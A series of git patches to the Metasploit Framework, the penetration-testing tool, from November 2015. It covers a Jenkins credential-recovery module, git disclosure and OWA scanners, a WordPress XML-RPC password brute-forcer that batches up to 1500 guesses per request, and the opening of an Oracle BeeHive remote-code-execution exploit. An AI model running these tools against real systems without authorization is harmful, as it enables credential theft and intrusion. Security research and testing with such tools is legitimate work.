Msf::Auxiliary else print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})") end + else + print_status("Found #{user_data[:username]}, but unable to decrypt password.") end report_cred( From 95ca288f9d71d035a676a3273b6b5133a444dd19 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 23 Nov 2015 20:33:14 -0600 Subject: [PATCH 1303/2172] Modify check --- modules/auxiliary/gather/jenkins_cred_recovery.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb index a467e0325e..87dac432aa 100644 --- a/modules/auxiliary/gather/jenkins_cred_recovery.rb +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -74,10 +74,10 @@ class Metasploit3 < Msf::Auxiliary version = get_jenkins_version vprint_status("Found version: #{version}") - # According to the issue response from Jenkins, they don't think it's a vulnerability, - # so there is no fix. So if we find a version, let's assume it's vulnerable + # Default version is vulnerable, but can be mitigated by refusing anonymous permission on + # decryption API. So a version wouldn't be adequate to check. if version - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe From 74e1b8d5acf5c870dbd35357aba9a330385b8b49 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 24 Nov 2015 00:15:05 -0600 Subject: [PATCH 1304/2172] Fix res nil --- .../auxiliary/gather/jenkins_cred_recovery.rb | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb index 87dac432aa..3c7ed07bb3 100644 --- a/modules/auxiliary/gather/jenkins_cred_recovery.rb +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -52,6 +52,11 @@ class Metasploit3 < Msf::Auxiliary def get_jenkins_version uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version') + end + html = res.get_html_document version_attribute = html.at('body').attributes['data-version'] version = version_attribute ? version_attribute.value : '' @@ -97,6 +102,11 @@ class Metasploit3 < Msf::Auxiliary uri << '/' res = send_request_cgi({ 'uri'=>uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.') + end + html = res.get_html_document rows = html.search('//table[@class="sortable pane bigtable"]//tr') @@ -133,6 +143,11 @@ class Metasploit3 < Msf::Auxiliary def get_encrypted_password(id) uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update') res = send_request_cgi({ 'uri'=>uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password') + end + html = res.get_html_document input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]') @@ -164,7 +179,11 @@ class Metasploit3 < Msf::Auxiliary } }) - if res && /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body + unless res + fail_with(Failure::Unknown, 'Connection timed out while accessing the script console') + end + + if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body vprint_error('No permission to decrypt password') return nil end From 2152c310fed50580ec49dfb019ac28eb22fce68b Mon Sep 17 00:00:00 2001 From: Waqas Ali <waqas.bsquare@gmail.com> Date: Tue, 24 Nov 2015 14:54:54 +0500 Subject: [PATCH 1305/2172] Remove the default true option of RHOST --- modules/auxiliary/scanner/http/owa_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index e1922e2268..8bb15d10d4 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptInt.new('RPORT', [ true, "The target port", 443]), - OptAddress.new('RHOST', [ true, "The target address", true]), + OptAddress.new('RHOST', [ true, "The target address", '']), OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true]) ], self.class) From e29a2293365206943d3dd3ed770f4f2f964fcdf7 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 08:50:21 -0800 Subject: [PATCH 1306/2172] Minor style cleanup --- modules/auxiliary/scanner/http/git_scanner.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 9c1fb1dc20..ffe568c773 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -14,13 +14,13 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'HTTP Git Scanner', - 'Description' => %q{ + 'Description' => %q( This module can detect information disclosure vlnerabilities in Git Repository. Git has some files that stores in Git Resitory, ex: .git/config, .git/index. We can get a number of personal/ preferences settings from .git/config, and get source code, account information from .git/index. - }, + ), 'Author' => [ 'Nixawk', # module developer 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module @@ -105,7 +105,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(_target_host) vprint_status("#{full_uri} - scanning git disclosure") - vhost = datastore['VHOST'] || wmap_target_host git_index if datastore['GIT_INDEX'] git_config if datastore['GIT_CONFIG'] end From d59c563ee328a34c25da7c296022d5abadc69488 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 08:51:43 -0800 Subject: [PATCH 1307/2172] Don't store index file --- modules/auxiliary/scanner/http/git_scanner.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index ffe568c773..977d532bd3 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -64,9 +64,6 @@ class Metasploit3 < Msf::Auxiliary type: 'git_disclosure', data: { full_uri: full_uri, version: version, entries_count: entries_count } ) - - path = store_loot('index', 'binary', rhost, resp, full_uri) - print_good("Saved file to: #{path}") end def git_index From afa4d9e74d5f040f1d7fd2767d831c6533f8ce9b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 08:57:19 -0800 Subject: [PATCH 1308/2172] Add legit git UserAgent --- modules/auxiliary/scanner/http/git_scanner.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 977d532bd3..7c5b1eecb0 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -35,7 +35,8 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The test path to .git directory', '/.git/']), OptBool.new('GIT_INDEX', [true, 'Check index file in .git directory', true]), - OptBool.new('GIT_CONFIG', [true, 'Check config file in .git directory', true]) + OptBool.new('GIT_CONFIG', [true, 'Check config file in .git directory', true]), + OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'git/1.7.9.5' ]) ] ) end From 1e90a8004d6960ec69f8e70cb055d69464cf9ea1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 09:11:04 -0800 Subject: [PATCH 1309/2172] Correct printing of URIs when provided TARGETURI doesn't end with / --- modules/auxiliary/scanner/http/git_scanner.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 7c5b1eecb0..b9df804005 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -69,25 +69,27 @@ class Metasploit3 < Msf::Auxiliary def git_index res = req('index') + index_uri = normalize_uri(full_uri, 'index') unless res - vprint_error("#{full_uri}index - No response received") + vprint_error("#{index_uri} - No response received") return end - vprint_status("#{full_uri}index (http status #{res.code})") + vprint_status("#{index_uri} (http status #{res.code})") git_index_parse(res.body) if res.code == 200 end def git_config res = req('config') + config_uri = normalize_uri(full_uri, 'config') unless res - vprint_error("#{full_uri}config - No response received") + vprint_error("#{config_uri} - No response received") return end - vprint_status("#{full_uri}config - (http status #{res.code})") + vprint_status("#{config_uri} - (http status #{res.code})") return unless res.code == 200 && res.body =~ /\[(?:branch|core|remote)\]/ - print_good("#{full_uri}config (git disclosure - config file Found)") + print_good("#{config_uri} (git disclosure - config file Found)") report_note( host: rhost, From c66d56263a40ee54387eb92986fccc1e435fe658 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 09:43:05 -0800 Subject: [PATCH 1310/2172] Cleaner and more consistent print_ * --- modules/auxiliary/scanner/http/git_scanner.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index b9df804005..93bc9bfdee 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary entries_count = resp[8, 4].unpack('N')[0].to_i return unless version && entries_count - print_good("#{full_uri} (git repo version #{version}) - #{entries_count} files found") + print_good("#{full_uri} - git repo (version #{version}) found with #{entries_count} files") report_note( host: rhost, @@ -69,27 +69,27 @@ class Metasploit3 < Msf::Auxiliary def git_index res = req('index') - index_uri = normalize_uri(full_uri, 'index') + index_uri = git_uri('index') unless res vprint_error("#{index_uri} - No response received") return end - vprint_status("#{index_uri} (http status #{res.code})") + vprint_status("#{index_uri} - HTTP/#{res.proto} #{res.code} #{res.message}") git_index_parse(res.body) if res.code == 200 end def git_config res = req('config') - config_uri = normalize_uri(full_uri, 'config') + config_uri = git_uri('config') unless res vprint_error("#{config_uri} - No response received") return end - vprint_status("#{config_uri} - (http status #{res.code})") + vprint_status("#{config_uri} - HTTP/#{res.proto} #{res.code} #{res.message}") return unless res.code == 200 && res.body =~ /\[(?:branch|core|remote)\]/ - print_good("#{config_uri} (git disclosure - config file Found)") + print_good("#{config_uri} - git config file found") report_note( host: rhost, @@ -103,6 +103,10 @@ class Metasploit3 < Msf::Auxiliary print_good("Saved file to: #{path}") end + def git_uri(path) + full_uri =~ /\/$/ ? "#{full_uri}#{path}" : "#{full_uri}/#{path}" + end + def run_host(_target_host) vprint_status("#{full_uri} - scanning git disclosure") git_index if datastore['GIT_INDEX'] From ccdf8146888e483721b9dd3f429cab82bbcde666 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 09:52:07 -0800 Subject: [PATCH 1311/2172] Use correct URIs in report_note --- modules/auxiliary/scanner/http/git_scanner.rb | 33 ++++++++++--------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 93bc9bfdee..e83808b57e 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary ex: .git/config, .git/index. We can get a number of personal/ preferences settings from .git/config, and get source code, account information from .git/index. - ), + ), 'Author' => [ 'Nixawk', # module developer 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module @@ -56,15 +56,7 @@ class Metasploit3 < Msf::Auxiliary entries_count = resp[8, 4].unpack('N')[0].to_i return unless version && entries_count - print_good("#{full_uri} - git repo (version #{version}) found with #{entries_count} files") - - report_note( - host: rhost, - port: rport, - proto: 'tcp', - type: 'git_disclosure', - data: { full_uri: full_uri, version: version, entries_count: entries_count } - ) + [version, entries_count] end def git_index @@ -76,7 +68,18 @@ class Metasploit3 < Msf::Auxiliary end vprint_status("#{index_uri} - HTTP/#{res.proto} #{res.code} #{res.message}") - git_index_parse(res.body) if res.code == 200 + return unless res.code == 200 + version, count = git_index_parse(res.body) + return unless version && count + print_good("#{full_uri} - git repo (version #{version}) found with #{count} files") + + report_note( + host: rhost, + port: rport, + proto: 'tcp', + type: 'git_index_disclosure', + data: { uri: index_uri, version: version, entries_count: count } + ) end def git_config @@ -95,16 +98,16 @@ class Metasploit3 < Msf::Auxiliary host: rhost, port: rport, proto: 'tcp', - type: 'git_disclosure', - data: { full_uri: full_uri } + type: 'git_config_disclosure', + data: { uri: config_uri } ) - path = store_loot('config', 'text/plain', rhost, res.body, full_uri) + path = store_loot('config', 'text/plain', rhost, res.body, config_uri) print_good("Saved file to: #{path}") end def git_uri(path) - full_uri =~ /\/$/ ? "#{full_uri}#{path}" : "#{full_uri}/#{path}" + full_uri =~ %r{/$} ? "#{full_uri}#{path}" : "#{full_uri}/#{path}" end def run_host(_target_host) From b1abfe898d0359dc0ee2e5a16250cb0dd03dd96d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 24 Nov 2015 16:30:34 -0600 Subject: [PATCH 1312/2172] Update wordpress_xmlrpc_login Replace the wordpress_xmlrpc_login code with wordpress_xmlrpc_massive_bruteforce.rb, which should run a lot faster. --- .../framework/login_scanner/wordpress_rpc.rb | 165 ++++++++++------ .../scanner/http/wordpress_xmlrpc_login.rb | 113 ++++++----- .../wordpress_xmlrpc_massive_bruteforce.rb | 179 ------------------ 3 files changed, 171 insertions(+), 286 deletions(-) delete mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 8b67147a67..b6c98def53 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -1,4 +1,5 @@ require 'metasploit/framework/login_scanner/http' +require 'nokogiri' module Metasploit module Framework @@ -7,70 +8,116 @@ module Metasploit # Wordpress XML RPC login scanner class WordpressRPC < HTTP - # (see Base#attempt_login) + attr_accessor :passwords + + attr_accessor :chunk_size + + attr_accessor :block_wait + + attr_accessor :base_uri + + attr_reader :wordpress_url_xmlrpc + + def set_default + self.wordpress_url_xmlrpc = 'xmlrpc.php' + end + + def generate_xml(user) + xml_payloads = [] + + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. + passwords.each_slice(chunk_size) do |pass_group| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { + pass_group.each do |pass| + #$stderr.puts "Trying: #{user}:#{pass}" + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} + end + xml_payloads << document.to_xml + end + + xml_payloads + end + + def send(xml) + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + req = client.request_cgi(opts) + res = client.send_recv(req) + + if res && res.code != 200 + sleep(block_wait * 60) + end + + @res = res + end + + def attempt_login(credential) - http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies - ) - configure_http_client(http_client) + #$stderr.puts "Testing: #{credential.public}" + generate_xml(credential.public).each do |xml| + send(xml) + req_xml = Nokogiri::Slop(xml) + res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + result = value.at("struct/member/value/int") + if result.nil? + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + credential.private = pass + #$stderr.puts "Good: #{credential.inspect}" + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + return Result.new(result_opts) + end + end + end + result_opts = { - credential: credential, - host: host, - port: port, - protocol: 'tcp' + credential: credential, + host: host, + port: port, + protocol: 'tcp' } - if ssl - result_opts[:service_name] = 'https' - else - result_opts[:service_name] = 'http' - end - begin - http_client.connect - - request = http_client.request_cgi( - 'uri' => uri, - 'method' => method, - 'data' => generate_xml_request(credential.public,credential.private), - ) - response = http_client.send_recv(request) - - if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/ - result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) - elsif response.body =~ /<value><int>-32601<\/int><\/value>/ - result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) - else - result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) - end - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e - result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) - end - - Result.new(result_opts) - - end - - # This method generates the XML data for the RPC login request - # @param user [String] the username to authenticate with - # @param pass [String] the password to authenticate with - # @return [String] the generated XML body for the request - def generate_xml_request(user, pass) - xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" - xml << '<methodCall>' - xml << '<methodName>wp.getUsers</methodName>' - xml << '<params><param><value>1</value></param>' - xml << "<param><value>#{user}</value></param>" - xml << "<param><value>#{pass}</value></param>" - xml << '</params>' - xml << '</methodCall>' - xml - end - - # (see Base#set_sane_defaults) - def set_sane_defaults - @method = "POST".freeze - super + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + return Result.new(result_opts) end end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index fb7097671a..442d43509b 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -3,11 +3,14 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +#load "./lib/metasploit/framework/login_scanner/wordpress_rpc.rb" + require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute @@ -15,56 +18,84 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', - 'Description' => ' - This module attempts to authenticate against a Wordpress-site - (via XMLRPC) using username and password combinations indicated - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. - ', - 'Author' => - [ - 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://wordpress.org/'], - ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], - ['CVE', '1999-0502'] # Weak password - ] - )) + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => %q{ + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + }, + 'Author' => + [ + 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', + 'Sabri', #@KINGSABRI + 'William <WCoppola[at]Lares.com>' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'], # Weak password + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] + ], + 'DefaultOptions' => + { + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") + } + )) register_options( - [ - Opt::RPORT(80), - ], self.class) + [ + OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) + ], self.class) - deregister_options('BLANK_PASSWORDS') # we don't need this option + deregister_options('BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS') + end + + def passwords + File.readlines(datastore['PASS_FILE']).map {|pass| pass.chomp} + end + + def check_setup + vprint_status("Checking #{peer} status!") + + if !wordpress_and_online? + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + false + elsif !wordpress_xmlrpc_enabled? + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + false + else + print_status("Target #{peer} is running Wordpress") + true + end end def run_host(ip) - print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") - if wordpress_xmlrpc_enabled? - vprint_good("XMLRPC enabled, Hello message received!") + if check_setup + print_status("XMLRPC enabled, Hello message received!") else print_error("XMLRPC is not enabled! Aborting") - return :abort + return end print_status("#{peer} - Starting XML-RPC login sweep...") cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], + blank_passwords: true, user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'], + username: datastore['USERNAME'] ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( configure_http_login_scanner( + passwords: passwords, + chunk_size: datastore['CHUNKSIZE'], + block_wait: datastore['BLOCKEDWAIT'], + base_uri: target_uri.path, uri: wordpress_url_xmlrpc, cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -79,24 +110,10 @@ class Metasploit3 < Msf::Auxiliary module_fullname: self.fullname, workspace_id: myworkspace_id ) + case result.status when Metasploit::Model::Login::Status::SUCCESSFUL - print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" - credential_core = create_credential(credential_data) - credential_data[:core] = credential_core - create_credential_login(credential_data) - :next_user - when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT - if datastore['VERBOSE'] - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" - end - invalidate_login(credential_data) - :abort - when Metasploit::Model::Login::Status::INCORRECT - if datastore['VERBOSE'] - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" - end - invalidate_login(credential_data) + print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" end end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb deleted file mode 100644 index 6e90483ad4..0000000000 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ /dev/null @@ -1,179 +0,0 @@ -## -# This module requires Metasploit: http://www.metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::Wordpress - - def initialize(info = {}) - super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] - )) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]), - OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500]) - ], self.class) - end - - def usernames - File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} - end - - def passwords - File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} - end - - # - # XML Factory - # - def generate_xml(user) - - vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 - xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. - passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group| - - document = Nokogiri::XML::Builder.new do |xml| - xml.methodCall { - xml.methodName("system.multicall") - xml.params { - xml.param { - xml.value { - xml.array { - xml.data { - - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end - - }}}}}} - end - - xml_payloads << document.to_xml - end - - vprint_status('Generating XMLs just done.') - xml_payloads - end - - # - # Check target status - # - def check_wpstatus - print_status("Checking #{peer} status!") - - if !wordpress_and_online? - print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") - nil - elsif !wordpress_xmlrpc_enabled? - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") - nil - else - print_status("Target #{peer} is running Wordpress") - true - end - - end - - # - # Connection Setup - # - def send(xml) - uri = target_uri.path - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), - 'data' => xml, - 'ctype' =>'text/xml' - } - client = Rex::Proto::Http::Client.new(rhost) - client.connect - req = client.request_cgi(opts) - res = client.send_recv(req) - - if res && res.code != 200 - print_error('It seems you got blocked!') - print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") - sleep datastore['BLOCKEDWAIT'] * 60 - end - @res = res - end - - def run - return if check_wpstatus.nil? - - usernames.each do |user| - passfound = false - - print_status("Bruteforcing user: #{user}") - generate_xml(user).each do |xml| - next if passfound == true - - send(xml) - - # Request Parser - req_xml = Nokogiri::Slop xml - # Response Parser - res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join - - res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| - - result = value.at("struct/member/value/int") - # If response error code doesn't not exist - if result.nil? - user = req_xml.search("data/value/array/data")[i].value[0].text.strip - pass = req_xml.search("data/value/array/data")[i].value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") - - passfound = true - end - - end - - unless user == usernames.last - vprint_status('Sleeping for 2 seconds..') - sleep 2 - end - - end end end -end From 4e2eb7ca65c3fae1775339374d9d16301c8cb7d2 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 24 Nov 2015 19:17:57 -0600 Subject: [PATCH 1313/2172] Add Oracle Beehive processEvaluation Vulnerability --- .../windows/http/oracle_beehive_evaluation.rb | 156 ++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 modules/exploits/windows/http/oracle_beehive_evaluation.rb diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb new file mode 100644 index 0000000000..825ad0afe5 --- /dev/null +++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method + found in voice-servlet can be abused to write a malicious file onto the target machine, and + gain remote arbitrary code execution under the context of SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + '1c239c43f521145fa8385d64a9c32243', # Found the vuln first + 'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ (overlapped finding & PoC) + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2010-4417' ], + [ 'ZDI', '11-020' ], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ] + ], + 